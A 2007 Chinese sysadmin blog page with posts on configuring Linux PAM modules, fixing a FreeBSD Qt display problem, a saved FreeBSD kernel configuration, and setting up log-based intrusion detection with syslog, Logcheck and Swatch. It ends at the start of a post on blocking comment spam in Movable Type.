在作为session类型使用时,此时该模块没有可识别的参数,该模块仅仅完成记录用户名和服务名到日志文件的工作。

session     required      /lib/security/$ISA/pam_limits.so
session     required      /lib/security/$ISA/pam_unix.so

可带参数:

debug:将调试信息写入日志
audit:记录更为信息的信息
nullok:缺省情况下,如果用户输入的密码为空,则系统能够不对其提供任何服务。但是如果使用参数,用户不输入密码就可以获得系统提供的服务。同时,也允许用户密码为空时更改用户密码。 ?
nodelay:当用户认证失败,系统在给出错误信息时会有一个延迟,这个延迟是为了防止。黑客猜测密码,使用该参数时,系统将取消这个延迟。通常这是一个1秒钟的延迟。
try_first_pass:在用作auth模块时,该参数将尝试在提示用户输入密码前,使用前面一个堆叠的auth模块提供的密码认证用户;在作为password模块使用时,该参数是为了防止用户将密码更新成使用以前的老密码。
use_first_pass:在用作auth模块时,该参数将在提示用户输入密码前,直接使用前面一个堆叠的auth模块提供的密码认证用户;在作为password模块使用时,该参数用来防止用户将密码设置成为前面一个堆叠的password模块所提供的密码。
no_set_pass:使密码对前后堆叠的password模块无效。
use_authok:强制使用前面堆叠的password模块提供的密码,比如由pam_cracklib模块提供的新密码。
md5:采用md5对用户密码进行加密。
shadow:采用影子密码。
unix:当用户更改密码时,密码被放置在/etc/passwd中。
bigcrype:采用DEC C2算法加密用户密码。
nis:使用NIS远处过程调用来设置新密码。
remember=x:记录x个使用过的旧密码,这些旧密码以MD5方式加密后被保存在/etc/security/opasswd文件中。
broken_shadow:在作为account使用时,该参数用来忽略对影子密码的读错误。
likeauth:未知。

配置实例:

参考/etc/pam.d/system-auth

设置密码中的常见错误信息?
         ⑴当用户输入的密码字符数太少时:
BAD PASSWORD: it's WAY too short
    ⑵当用户输入的密码相同字符太多时:
BAD PASSWORD: it does not contain enough DIFFERENT characters
    ⑶当用户输入的密码为某英文单词时:
BAD PASSWORD: it is based on a dictionary word
    ⑷当用户在“(current) UNIX password:”提示后输入的现有密码错误时:passwd: Authentication token manipulation error
    ⑸当用户两次输入的密码不相同时:Sorry, passwords do not match passwd: Authentication information cannot be recovered
    ⑹当用户输入的密码未被系统接受时:
passwd: Authentication token manipulation error

example 1

auth       required     pam_securetty.so
    只用来控制root用户只可以从包含在/etc/securetty文件中的终端登录系统。
telnet 服务使用PAM的login进行用户身份验证,#more /etc/pam.d/login便能看到此行,要让root不受限制远程login,第一种方法注销此处这一行,另一种在 /etc/securetty文件中加入诸如pts/n(1-n);

同理如果想限制root使用ssh远程进入系统,只需在/etc/pam.d/sshd文件中加入这行;auth       required     pam_securetty.so即可。

example 2

account    required     pam_access.so
    pam_access是pam中处理用户访问控制的模块,没有使用pam前,linux对用户的所有访问控制都是借助hosts.allow, hosts.deny文件,实现所有服务的访问控制,再加上usertty就是对用户登陆控制(专门是针对login)。
    一种是直接修改/etc/security/access.conf
另一种是使用参数accessfile=/path/to/file.conf
例如修改access.conf文件:
+:root:ALL //root从任意位置连入系统
+:redhat:164.70.12.//redhat只能从这个网段连入
-:ALL:ALL 其余DENY
然后 # vi /etc/pam.d/sshd
加入这一行 account    required     pam_access.so

example 3

限制用户LOGIN次数
在/etc/security/limits.conf :
加入redhat           -       maxlogins       3
然后 # vi /etc/pam.d/sshd
加入这一行session    required     pam_limits.so
则同一用户至多3-1次login入系统

example 4

限制用户LOGIN时间
# vi /etc/security/time.conf加入以下一行
sshd;*;redhat;!Tu2200-2230
# vi /etc/pam.d/sshd 加入以下一行
account    required     pam_time.so
则redhat每星期二晚上22:00-22:30不能使用SSH来login系统。

example 5

用户访问控制
# vi /etc/pam.d/vsftpd 加入以下一行

auth required pam_listfile.so item=user sense=deny file=/etc/ftpusers onerr=succeed
# vi /etc/ftpusers .......

Posted by vitter at 2007-12-07 18:23:43 | 评论 (0) | 引用

October 16, 2007

Freebsd又乱码,这次还是qt的问题

昨天装一个kde下的软件,又给我装了新版本的qt了,结果KDE再次乱码,只好手动删除,郁闷ing

cd /usr/ports/x11-toolkits/qt33

make deinstall

Posted by vitter at 2007-10-16 13:50:15 | 评论 (0) | 引用

October 15, 2007

备份一下内核配置

#
# GENERIC -- Generic kernel configuration file for FreeBSD/i386
#
# For more information on this file, please read the handbook section on
# Kernel Configuration Files:
#
#    http://www.FreeBSD.org/doc/en_US.ISO8859-1/books/handbook/kernelconfig-config.html
#
# The handbook is also available locally in /usr/share/doc/handbook
# if you've installed the doc distribution, otherwise always see the
# FreeBSD World Wide Web server (http://www.FreeBSD.org/) for the
# latest information.
#
# An exhaustive list of options and more detailed explanations of the
# device lines is also present in the ../../conf/NOTES and NOTES files.
# If you are in doubt as to the purpose or necessity of a line, check first
# in NOTES.
#
# $FreeBSD: src/sys/i386/conf/GENERIC,v 1.429.2.14 2007/03/27 02:33:00 yongari Exp $

machine        i386
cpu        I486_CPU
cpu        I586_CPU
cpu        I686_CPU
ident           VitterSKERNEL

# To make an SMP kernel, the next line is needed
options         SMP                     # Symmetric MultiProcessor Kernel
options         CPU_SUSP_HLT                # Enable HLT instruction when the CPU is idle. The laptop will be cooler and use less energy.
options         CPU_UPGRADE_HW_CACHE        # Disable useless cache flush. Performances may be enhanced.
options         DEVICE_POLLING              # Enable compatible network adapter polling. Performances may be enhanced.
options         ZERO_COPY_SOCKETS           # Enable network transfers without useless copies. Performances may be enhanced.
device          drm                         # Enable graphic acceleration (base support).
device          i915drm                     # Enable graphic acceleration (i945GM support).
device          atapicam                    # Enable ATA drives access through an SCSI sub-system.
device          sound                       # Enable sound support (base support).
device          snd_hda                     # Enable Intel ICH7 High Definition Audio support
# To statically compile in device wiring instead of /boot/device.hints
#hints        "GENERIC.hints"        # Default places to look for devices.

makeoptions    DEBUG=-g        # Build kernel with gdb(1) debug symbols

options     SCHED_4BSD        # 4BSD scheduler
options     PREEMPTION        # Enable kernel thread preemption
options     INET            # InterNETworking
options     INET6            # IPv6 communications protocols
options     FFS            # Berkeley Fast Filesystem
options     SOFTUPDATES        # Enable FFS soft updates support
options     UFS_ACL            # Support for access control lists
options     UFS_DIRHASH        # Improve performance on big directories
options     MD_ROOT            # MD is a potential root device
options     NFSCLIENT        # Network Filesystem Client
#options     NFSSERVER        # Network Filesystem Server
options     NFS_ROOT        # NFS usable as /, requires NFSCLIENT
options     MSDOSFS            # MSDOS Filesystem
options     CD9660            # ISO 9660 Filesystem
options     PROCFS            # Process filesystem (requires PSEUDOFS)
options     PSEUDOFS        # Pseudo-filesystem framework
options     GEOM_GPT        # GUID Partition Tables.
options     COMPAT_43        # Compatible with BSD 4.3 [KEEP THIS!]
options     COMPAT_FREEBSD4        # Compatible with FreeBSD4
options     COMPAT_FREEBSD5        # Compatible with FreeBSD5
#options     SCSI_DELAY=5000        # Delay (in ms) before probing SCSI
options     KTRACE            # ktrace(1) support
options     SYSVSHM            # SYSV-style shared memory
options     SYSVMSG            # SYSV-style message queues
options     SYSVSEM            # SYSV-style semaphores
options     _KPOSIX_PRIORITY_SCHEDULING # POSIX P1003_1B real-time extensions
#options     KBD_INSTALL_CDEV    # install a CDEV entry in /dev
#options     ADAPTIVE_GIANT        # Giant mutex is adaptive.

device        apic            # I/O APIC

# Bus support.
device        eisa
device        pci

# Floppy drives
#device        fdc

# ATA and ATAPI devices
device        ata
device        atadisk        # ATA disk drives
device        ataraid        # ATA RAID drives
device        atapicd        # ATAPI CDROM drives
device        atapifd        # ATAPI floppy drives
device        atapist        # ATAPI tape drives
options     ATA_STATIC_ID    # Static device numbering

# SCSI Controllers
#device        ahb        # EISA AHA1742 family
#device        ahc        # AHA2940 and onboard AIC7xxx devices
#options     AHC_REG_PRETTY_PRINT    # Print register bitfields in debug
                    # output.  Adds ~128k to driver.
#device        ahd        # AHA39320/29320 and onboard AIC79xx devices
#options     AHD_REG_PRETTY_PRINT    # Print register bitfields in debug
                    # output.  Adds ~215k to driver.
#device        amd        # AMD 53C974 (Tekram DC-390(T))
#device        isp        # Qlogic family
#device     ispfw        # Firmware for QLogic HBAs- normally a module
#device        mpt        # LSI-Logic MPT-Fusion
#device        ncr        # NCR/Symbios Logic
#device        sym        # NCR/Symbios Logic (newer chipsets + those of `ncr')
#device        trm        # Tekram DC395U/UW/F DC315U adapters

#device        adv        # Advansys SCSI adapters
#device        adw        # Advansys wide SCSI adapters
#device        aha        # Adaptec 154x SCSI adapters
#device        aic        # Adaptec 15[012]x SCSI adapters, AIC-6[23]60.
#device        bt        # Buslogic/Mylex MultiMaster SCSI adapters

#device        ncv        # NCR 53C500
#device        nsp        # Workbit Ninja SCSI-3
#device        stg        # TMC 18C30/18C50

# SCSI peripherals
device        scbus        # SCSI bus (required for SCSI)
#device        ch        # SCSI media changers
device        da        # Direct Access (disks)
#device        sa        # Sequential Access (tape etc)
device        cd        # CD
#device        pass        # Passthrough device (direct SCSI access)
#device        ses        # SCSI Environmental Services (and SAF-TE)

# RAID controllers interfaced to the SCSI subsystem
#device        amr        # AMI MegaRAID
device        arcmsr        # Areca SATA II RAID
#device        asr        # DPT SmartRAID V, VI and Adaptec SCSI RAID
#device        ciss        # Compaq Smart RAID 5*
#device        dpt        # DPT Smartcache III, IV - See NOTES for options
#device        hptmv        # Highpoint RocketRAID 182x
#device        rr232x        # Highpoint RocketRAID 232x
#device        iir        # Intel Integrated RAID
#device        ips        # IBM (Adaptec) ServeRAID
#device        mly        # Mylex AcceleRAID/eXtremeRAID
#device        twa        # 3ware 9000 series PATA/SATA RAID

# RAID controllers
#device        aac        # Adaptec FSA RAID
#device        aacp        # SCSI passthrough for aac (requires CAM)
#device        ida        # Compaq Smart RAID
#device        mfi        # LSI MegaRAID SAS
#device        mlx        # Mylex DAC960 family
#device        pst        # Promise Supertrak SX6000
#device        twe        # 3ware ATA RAID

# atkbdc0 controls both the keyboard and the PS/2 mouse
device        atkbdc        # AT keyboard controller
device        atkbd        # AT keyboard
device        psm        # PS/2 mouse

device        kbdmux        # keyboard multiplexer

device        vga        # VGA video card driver

device        splash        # Splash screen and screen saver support

# syscons is the default console driver, resembling an SCO console
device        sc

# Enable this for the pcvt (VT220 compatible) console driver
#device        vt
#options     XSERVER        # support for X server on a vt console
#options     FAT_CURSOR    # start with block cursor

device        agp        # support several AGP chipsets

# Power management support (see NOTES for more options)
#device        apm
# Add suspend/resume support for the i8254.
device        pmtimer

# PCCARD (PCMCIA) support
# PCMCIA and cardbus bridge support
#device        cbb        # cardbus (yenta) bridge
#device        pccard        # PC Card (16-bit) bus
#device        cardbus        # CardBus (32-bit) bus

# Serial (COM) ports
device        sio        # 8250, 16[45]50 based serial ports

# Parallel port
#device        ppc
#device        ppbus        # Parallel port bus (required)
#device        lpt        # Printer
#device        plip        # TCP/IP over parallel
#device        ppi        # Parallel port interface device
#device        vpo        # Requires scbus and da

# If you've got a "dumb" serial or parallel PCI card that is
# supported by the puc(4) glue driver, uncomment the following
# line to enable it (connects to the sio and/or ppc drivers):
#device        puc

# PCI Ethernet NICs.
#device        de        # DEC/Intel DC21x4x (``Tulip'')
#device        em        # Intel PRO/1000 adapter Gigabit Ethernet Card
#device        ixgb        # Intel PRO/10GbE Ethernet Card
#device        txp        # 3Com 3cR990 (``Typhoon'')
#device        vx        # 3Com 3c590, 3c595 (``Vortex'')

# PCI Ethernet NICs that use the common MII bus controller code.
# NOTE: Be sure to keep the 'device miibus' line in order to use these NICs!
device        miibus        # MII bus support
#device        bce        # Broadcom BCM5706/BCM5708 Gigabit Ethernet
#device        bfe        # Broadcom BCM440x 10/100 Ethernet
#device        bge        # Broadcom BCM570xx Gigabit Ethernet
#device        dc        # DEC/Intel 21143 and various workalikes
device        fxp        # Intel EtherExpress PRO/100B (82557, 82558)
#device        lge        # Level 1 LXT1001 gigabit Ethernet
#device        msk        # Marvell/SysKonnect Yukon II Gigabit Ethernet
#device        nge        # NatSemi DP83820 gigabit Ethernet
#device        nve        # nVidia nForce MCP on-board Ethernet Networking
#device        pcn        # AMD Am79C97x PCI 10/100(precedence over 'lnc')
#device        re        # RealTek 8139C+/8169/8169S/8110S
#device        rl        # RealTek 8129/8139
#device        sf        # Adaptec AIC-6915 (``Starfire'')
#device        sis        # Silicon Integrated Systems SiS 900/SiS 7016
#device        sk        # SysKonnect SK-984x & SK-982x gigabit Ethernet
#device        ste        # Sundance ST201 (D-Link DFE-550TX)
#device        stge        # Sundance/Tamarack TC9021 gigabit Ethernet
#device        ti        # Alteon Networks Tigon I/II gigabit Ethernet
#device        tl        # Texas Instruments ThunderLAN
#device        tx        # SMC EtherPower II (83c170 ``EPIC'')
#device        vge        # VIA VT612x gigabit Ethernet
#device        vr        # VIA Rhine, Rhine II
#device        wb        # Winbond W89C840F
#device        xl        # 3Com 3c90x (``Boomerang'', ``Cyclone'')

# ISA Ethernet NICs.  pccard NICs included.
device        cs        # Crystal Semiconductor CS89x0 NIC
# 'device ed' requires 'device miibus'
#device        ed        # NE[12]000, SMC Ultra, 3c503, DS8390 cards
#device        ex        # Intel EtherExpress Pro/10 and Pro/10+
#device        ep        # Etherlink III based cards
#device        fe        # Fujitsu MB8696x based cards
#device        ie        # EtherExpress 8/16, 3C507, StarLAN 10 etc.
#device        lnc        # NE2100, NE32-VL Lance Ethernet cards
#device        sn        # SMC's 9000 series of Ethernet chips
#device        xe        # Xircom pccard Ethernet

# Wireless NIC cards
#device        wlan        # 802.11 support
#device        wlan_wep    # 802.11 WEP support
#device        wlan_ccmp    # 802.11 CCMP support
#device        wlan_tkip    # 802.11 TKIP support
#device        an        # Aironet 4500/4800 802.11 wireless NICs.
#device        ath        # Atheros pci/cardbus NIC's
#device        ath_hal        # Atheros HAL (Hardware Access Layer)
#device        ath_rate_sample    # SampleRate tx rate control for ath
#device        awi        # BayStack 660 and others
#device        ral        # Ralink Technology RT2500 wireless NICs.
#device        wi        # WaveLAN/Intersil/Symbol 802.11 wireless NICs.
#device        wl        # Older non 802.11 Wavelan wireless NIC.

# Pseudo devices.
device        loop        # Network loopback
device        random        # Entropy device
device        ether        # Ethernet support
device        sl        # Kernel SLIP
device        ppp        # Kernel PPP
device        tun        # Packet tunnel.
device        pty        # Pseudo-ttys (telnet etc)
device        md        # Memory "disks"
device        gif        # IPv6 and IPv4 tunneling
device        faith        # IPv6-to-IPv4 relaying (translation)

# The `bpf' device enables the Berkeley Packet Filter.
# Be aware of the administrative consequences of enabling this!
# Note that 'bpf' is required for DHCP.
device        bpf        # Berkeley packet filter

# USB support
device        uhci        # UHCI PCI->USB interface
device        ohci        # OHCI PCI->USB interface
device        ehci        # EHCI PCI->USB interface (USB 2.0)
device        usb        # USB Bus (required)
#device        udbp        # USB Double Bulk Pipe devices
device        ugen        # Generic
device        uhid        # "Human Interface Devices"
device        ukbd        # Keyboard
device        ulpt        # Printer
device        umass        # Disks/Mass storage - Requires scbus and da
device        ums        # Mouse
#device        ural        # Ralink Technology RT2500USB wireless NICs
#device        urio        # Diamond Rio 500 MP3 player
#device        uscanner    # Scanners
# USB Ethernet, requires miibus
#device        aue        # ADMtek USB Ethernet
#device        axe        # ASIX Electronics USB Ethernet
#device        cdce        # Generic USB over Ethernet
#device        cue        # CATC USB Ethernet
#device        kue        # Kawasaki LSI USB Ethernet
#device        rue        # RealTek RTL8150 USB Ethernet

# FireWire support
#device        firewire    # FireWire bus code
#device        sbp        # SCSI over FireWire (Requires scbus and da)
#device        fwe        # Ethernet over FireWire (non-standard!)

Posted by vitter at 2007-10-15 13:33:20 | 评论 (10) | 引用

September 13, 2007

入侵检测之日志检测

摘要
  入侵检测(Intrusion Detection),顾名思义,便是对入侵行为的发觉。它通过对计算机网络或计算机系统中的若干关键点收集信息并对其进行分析,从中发现网络或系统中是否有违反安全策略的行为和被攻击的迹象。进行入侵检测的软件与硬件的组合便是入侵检测系统(Intrusion Detection System,简称IDS)。与其他安全产品不同的是,入侵检测系统需要更多的智能,它必须可以将得到的数据进行分析,并得出有用的结果。一个合格的入侵检测系统能大大的简化管理员的工作,保证网络安全的运行。
--------------------------------------------------------------------------------
1.概述
  入侵检测(Intrusion Detection),顾名思义,便是对入侵行为的发觉。它通过对计算机网络或计算机系统中的若干关键点收集信息并对其进行分析,从中发现网络或系统中是否有违反安全策略的行为和被攻击的迹象。进行入侵检测的软件与硬件的组合便是入侵检测系统(Intrusion Detection System,简称IDS)。与其他安全产品不同的是,入侵检测系统需要更多的智能,它必须可以将得到的数据进行分析,并得出有用的结果。一个合格的入侵检测系统能大大的简化管理员的工作,保证网络安全的运行。
  日志是使系统顺利运行的重要保障。它会告诉我们系统发生了什么和什么没有发生。然而,由于日志记录增加得太快了,铺天盖地的日志使系统管理员茫然无措,最终使日志成为浪费大量磁盘空间的垃圾。日志具有无可替代的价值,但不幸的是它们经常被忽略,因为系统管理员在并不充裕的时间里难以查看大量的信息。标准的日志功能不能自动过滤和检查日志记录,并提供系统管理员所需要的信息。
  对于入侵者来说,要做的第一件事就是清除入侵的痕迹。这需要入侵者获得root权限,而一旦系统日志被修改,就无法追查到攻击的情况。因此,好的系统管理员应该建立日志文件检测。有很多工具可以实现日志检测的功能,其中就有Logcheck和Swatch。本文将对Logcheck和Swatch逐一进行介绍。
2.日志文件系统
  审计和日志功能对于系统来说是非常重要的,可以把感兴趣的操作都记录下来,供分析和检查。UNIX采用了syslog工具来实现此功能,如果配置正确的话,所有在主机上发生的事情都会被记录下来,不管是好的还是坏的。
  Syslog已被许多日志系统采纳,它用在许多保护措施中--任何程序都可以通过syslog记录事件。Syslog可以记录系统事件,可以写到一个文件或设备中,或给用户发送一个信息。它能记录本地事件或通过网络纪录另一个主机上的事件。
  Syslog依据两个重要的文件:/sbin/syslogd(守护进程)和/etc/syslog.conf配置文件,习惯上,多数syslog信息被写到/var/adm或/var/log目录下的信息文件中(messages.*)。一个典型的syslog纪录包括生成程序的名字和一个文本信息。它还包括一个设备和一个行为级别(但不在日志中出现)。
  /etc/syslog.conf的一般格式如下:
  设备.行为级别 [;设备.行为级别]    记录行为
  设备           描述
  auth         认证系统:login、su、getty等,即询问用户名和口令
  authpriv      同LOG_AUTH,但只登录到所选择的单个用户可读的文件中
  cron         cron守护进程
  daemon       其他系统守护进程,如routed
  kern        内核产生的消息
  lpr         打印机系统:lpr、lpd
  mail        电子邮件系统
  news        网络新闻系统
  syslog       由syslogd产生的内部消息
  user        随机用户进程产生的消息
  uucp        UUCP子系统
  local0~local7   为本地使用保留
  行为级别       描述
  debug        包含调试的信息,通常旨在调试一个程序时使用
  info        情报信息
  notice       不是错误情况,但是可能需要处理
  warn(warning)   警告信息
  err(error)     错误信息
  crit        重要情况,如硬盘错误
  alert        应该被立即改正的问题,如系统数据库破坏
  emerg(panic)    紧急情况
  记录行为(举例)    描述
  /dev/console     发送消息到控制台
  /var/adm/messages  把消息写到文件/var/adm/messages
  @loghost       把消息发到其它的日志记录服务器
  fred,user1      传送消息给用户
  *           传送消息给所有的在线用户
  有个小命令logger为syslog系统日志文件提供一个shell命令接口,使用户能创建日志文件中的条目。用法:logger 例如:logger This is a test!
  它将产生一个如下的syslog纪录:Apr 26 11:22:34 only_you: This is a test!
  更详细的帮助信息请man syslogd,man syslog.conf
3.Logcheck
3.1 logcheck介绍
  Logcheck是一软件包,用来实现自动检查日志文件,以发现安全入侵和不正常的活动。Logcheck用logtail程序来记录读到的日志文件的位置,下一次运行的时候从记录下的位置开始处理新的信息。所有的源代码都是公开的,实现方法也非常简单。
  Logcheck SHELL脚本和logtail.c程序用关键字查找的方法进行日志检测。在这儿提到的关键字就是指在日志文件中出现的关键字,会触发向系统管理员发的报警信息。Logcheck的配置文件自带了缺省的关键字,适用于大多数的*inx系统。但是最好还是自己检查一下配置文件,看看自带的关键字是否符合自己的需要。
  Logcheck脚本是简单的SHELL程序,logtail.c程序只调用了标准的ANSI C函数。Logcheck要在cron守护进程中配置,至少要每小时运行一次。脚本用简单的grep命令来从日志文件检查不正常的活动,如果发现了就发 MAIL给管理员。如果没有发现异常活动,就不会收到MAIL。
3.2 安装和配置logcheck
3.2.1 下载Logcheck
  下载网址:http://sourceforge.net/projects/logcheck/ 下载后放在/backup目录。
3.2.2 安装
以root用户身份登录,
  [root@only_you /root]# tar zxvf /backup/logcheck-1.1.1.tar.gz
  [root@only_you /root]# cd logcheck-1.1.1
  [root@only_you logcheck-1.1.1] make linux //在Linux平台下使用
  make install SYSTYPE=linux //缺省安装目录是/usr/local/etc
  make[1]: Entering directory `/root/logcheck-1.1.1'
  Making linux
  cc -O -o ./src/logtail ./src/logtail.c
  Creating temp directory /usr/local/etc/tmp //在/usr/local/etc下创建目录tmp
  Setting temp directory permissions
  chmod 700 /usr/local/etc/tmp
  Copying files
  cp ./systems/linux/logcheck.hacking /usr/local/etc //拷贝文件到/usr/local/etc目录
  cp ./systems/linux/logcheck.violations /usr/local/etc
  cp ./systems/linux/logcheck.violations.ignore /usr/local/etc
  cp ./systems/linux/logcheck.ignore /usr/local/etc
  cp ./systems/linux/logcheck.sh /usr/local/etc
  cp ./src/logtail /usr/local/bin //把logtail程序拷贝到/usr/local/bin目录
  Setting permissions
  chmod 700 /usr/local/etc/logcheck.sh //logcheck的脚本
  chmod 700 /usr/local/bin/logtail //修改文件访问权限,确认只有root用户才能操作
  chmod 600 /usr/local/etc/logcheck.violations.ignore //不同的配置文件
  chmod 600 /usr/local/etc/logcheck.violations
  chmod 600 /usr/local/etc/logcheck.hacking
3.2.3 程序文件介绍
  logcheck.sh 主脚本文件。控制所有的处理过程,用grep命令检查日志文件,发现问题报告系统管理员。由cron定时启动。
  logtail 记录日志文件上次处理到的位置。被logcheck程序调用,避免重复处理已处理过的日志文件。所有的日志文件都由此程序处理,在同一目录下会产生文件 ######.offset,其中######是检查的日志文件名。文件中记录了logtail开始处理的偏移量,如果删除掉,则从文件开始处进行处理。 Logcheck跟踪日志文件的inode号和文件大小,如果inode号发生变化,或者是文件大小比上次运行时的小, logtail会重置偏移量,处理整个文件。
  Logcheck.hacking 文件中包含了系统受到攻击时的关键字。这个文件的关键字比较稀少,除非能知道某种特定的攻击方式的特征。缺省的关键字是ISS(Internet Security Scanner)攻击产生的,或者是sendmail中的地址栏里的非法语法。在日志文件中找到了关键字就会给管理员发信。
  logcheck.violations 文件中包含了产生否定或拒绝信息的系统事件。如denied,refused等。
  logcheck.violations.ignore 文件中包含了要对logcheck.violations进行反向查找的关键字。
3.2.4 配置
  为了使logcheck运行正常,先要对syslog.conf进行配置,你应该根据自己的需要进行配置,下面给出的只是一个例子。
  把下面的内容加到/etc/syslog.conf中
  #记录mail,news以外的消息
  *.*;mail.none;news.none -/var/log/messages
  #记录认证请求
  auth.*;authpriv.* /var/log/authlog
  #记录所有的内核消息
  kern.* /var/log/kernlog
  #记录警告和错误消息
  *.warn;*.err /var/log/syslog
  这四个文件/var/log/messages,/var/log/authlog,/var/log/kernlog,/var/log/syslog也就是logcheck要检查的日志文件。
  重起syslog,[root@only_you]#/etc/rc.d/init.d/syslog restart
  用编辑器(vi等)打开文件/usr/local/etc/logcheck.sh,在其中会找到下面的内容
  # Linux Red Hat Version 3.x, 4.x
  $LOGTAIL /var/log/messages > $TMPDIR/check.$$
  $LOGTAIL /var/log/secure >> $TMPDIR/check.$$
  $LOGTAIL /var/log/maillog >> $TMPDIR/check.$$
  这是logcheck自带的内容,也就是logcheck要检查的日志文件,把它该为下面的内容,使之于syslog.conf的内容相一致:(应该根据你配置的syslog.conf进行修改)
  $LOGTAIL /var/log/messages > $TMPDIR/check.$$
  $LOGTAIL /var/log/authlog >> $TMPDIR/check.$$
  $LOGTAIL /var/log/kernlog >> $TMPDIR/check.$$
  $LOGTAIL /var/log/syslog >> $TMPDIR/check.$$
  还可以找到一行为 SYSADMIN=root,指的是发邮件时的收信人,缺省为root@localhost,本机的root用户,如果机器与 Internet相连,也可以指定真实的帐号,我就把它改为了only_you@linuxaid.com.cn,这样就可以随时收到邮件了,不须用 root帐号登录到linux机器上去。
  在/etc/crontab中增加一项,让cron定时启动logcheck。关于cron的用法请参考相应文档。
  00,10,20,30,40,50 * * * * root /usr/local/etc/logcheck.sh
  每10分钟运行一次。
3.2.5 测试
  都配置好了,试试效果如何吧。登录一下,故意输错口令,看看有什么事情发生。10分钟以后,我的only_you@linuxaid.com.cn信箱真的收到了一封信,信的内容大致如下:
  Apr 26 13:51:13 only_you -- wap[1068]: LOGIN ON pts/1 BY wap FROM *.*.*.*
  Apr 26 13:51:24 only_you PAM_unix[1092]: authentication failure; wap(uid=500) -> root for system-auth service
  刚装好不长时间,logcheck就报告有人试图登录到我的机器上来,不知道这位IP为211.69.197.1的朋友想干什么。
  Security Violations
  =-=-=-=-=-=-=-=-=-=
  Apr 26 15:30:53 only_you xinetd[528]: refused connect from 211.69.197.1
  Apr 26 15:30:53 only_you xinetd[528]: refused connect from 211.69.197.1
  Unusual System Events
  =-=-=-=-=-=-=-=-=-=-=
  Apr 26 15:30:53 only_you xinetd[528]: refused connect from 211.69.197.1
  Apr 26 15:30:53 only_you xinetd[528]: refused connect from 211.69.197.1
  Apr 26 15:30:53 only_you xinetd[528]: FAIL: ftp libwrap from=211.69.197.1
  Apr 26 15:40:00 only_you CROND[1388]: (root) CMD (/usr/local/etc/logcheck.sh)
  Apr 26 15:40:00 only_you CROND[1388]: (root) CMD (/usr/local/etc/logcheck.sh)
  Apr 26 15:40:00 only_you CROND[1390]: (root) CMD ( /sbin/rmmod -as)
  Apr 26 15:40:00 only_you CROND[1390]: (root) CMD ( /sbin/rmmod -as)
  Apr 26 15:30:53 only_you xinetd[528]: FAIL: ftp libwrap from=211.69.197.1
4.swatch
  SWATCH (The Simple WATCHer and filer) 是Todd Atkins开发的用于实时监视日志的PERL程序。Swatch利用指定的触发器监视日志记录,当日志记录符合触发器条件时,swatch会按预先定义好的方式通知系统管理员。
  Swatch非常容易安装。它是一个PERL程序,无需编译。Swatch有一个很有用的安装脚本,将所有的库文件、手册页和PERL文件复制到相应目录下。安装完成后,只要创建一个配置文件,就可以运行程序了。Swatch的下载网址:http://sourceforge.net/projects/swatch/ 。下载后也放到了/backup目录。
4.1 安装
  以root用户身份登录,
  [root@only_you /root]# tar zxvf /backup/swatch-3.0.1.tar.gz
  [root@only_you /root]# cd swatch-3.0.1
  现在的版本需要perl 5和Time::HiRes, Date::Calc,Date::Format, File::Tail.模块,系统自带的perl可能不包括,没关系,它的安装程序会自己到网上去找。
  [root@only_you swatch-3.0.1]# perl Makefile.PL
  系统提示HiRes 1.12模块没有安装,询问是否安装,回答y,
  接着系统提示Are you ready for manual configuration? [yes]
  敲n就会自动配置,然后它自己到网上去装东西,具体在干什么我也不清楚了。装完这个又说缺别的东西,还是让它自己去装。试着执行一下./swatch,如果没有错误信息就说明安装成功了。
4.2 配置swatchrc
  swathrc文件的格式如下
  # Bad login attempts
  watchfor /INVALID|REPEATED|INCOMPLETE/
  echo
  bell 3
  mail=only_you@linuxaid.com.cn
  # Machine room temperature
  watchfor /WizMON/
  echo inverse
  bell
  watchfor后跟/pattern/,其中的"pattern"代表一个swatch将要进行搜索匹配的正则表达式,也就是我们的触发器,下面紧跟的以“Tab”开头的是当表达式匹配时所要执行的动作,Swatch允许指定包括显示、email、呼叫或任何指定的执行文件。上面第一个watchfor的含义是找到 /INVALID|REPEATED|INCOMPLETE/后把信息显示到屏幕上,响铃,同时向only_you@linuxaid.com.cn发 MAIL。详细的正则表达式的格式请参考相应的文档。
  缺省情况下,swatch认为swatchrc文件为~/.swatchrc,可以通过运行时指定参数来改变,如果未找到swatchrc文件,则使用缺省的配置
  watchfor = /.*/
  echo = random
4.3 测试
  Swatch启动时可以带很多参数,但使用通常如下格式启动它就可以了:
  /usr/local/bin/swatch -c /var/log/syslogrc -t /var/log/syslog &
  -c参数用于指定配置文件,-t参数指定实时监视的日志文件,"&"使swatch在后台运行。启动后,swatch产生子进程,因此swatch是以两个进程运行的,在停止swatch时必须杀掉两个进程。
  -t参数是用tail –f filename,从文件的末尾开始查找,如果想查找整个文件,则应该使用-f filename。
  现在让我们来实验一下,在swatch程序所在的目录下建立swatchrc文件,内容如下:
  watchfor = /FAILED/
  echo=random
  执行./swatch –c swatchrc –f /var/log/authlog,所有登录失败的记录就会显示出来,并且还用不同的颜色来显示。
  Apr 26 17:43:34 only_you login[2344]: FAILED LOGIN 1 FROM cjm FOR dsf, Authentication failure
  Apr 27 09:55:50 only_you login[932]: FAILED LOGIN 1 FROM (null) FOR root, Authentication failure
5.总结
  日志是很强大的工具,然而它的大量数据也很容易淹没我们。如果我们没有足够的时间去检查数以兆计的数据时,很可能会忽略那些有用的资料。日志自动检测系统可以帮助我们解决这个问题。这些自动检测系统将我们所需要的信息实时地通知我们。希望本文能对如何定制你自己的日志文件自动检测系统有一定的帮助。
6.参考资料
[1]《An Introduction to Intrusion Detection& ASSESSMENT》ICSA, Inc.
[2] http://www.psionic.com
[3] 《The Common Intrusion Detection Framework Architecture》
Phil Porras, SRI
Dan Schnackenberg, Boeing
Stuart Staniford-Chen, UC
Davis, editor
Maureen Stillman, Oddysey Research
Felix Wu, NCSU

Posted by vitter at 2007-09-13 09:33:27 | 评论 (1) | 引用

September 10, 2007

Mt 系统如何防止垃圾留言以及如何通过 .htaccess 禁止垃圾 refer

关于如何在Movable Type上禁止Spam(垃圾留言),以前有朋友问起这些问题,写一个比较完整的版本在这里:

1] Spam 的工作原理
Spam 搜索网络上现有的,已知的 comment 的资源位置,例如MT的 mt-comments.cgi comment.cgi -spam,然后从中找到这些资源的URL。
或者搜索一些明显的MT的单篇日志/或者日志的位置,依据通常的做法可以猜测到那些comment.cgi 的位置。

下一步就是写一个提交cgi的程序了,然后就完事了。

注意,垃圾留言的最主要的特征是通过程序进行留言的,因此虽然有一定的智能性,但是毕竟是没有思维/视觉的程序。

2] 最简单的更名防止垃圾留言的办法:
这个是最简单的,也是最有效的。
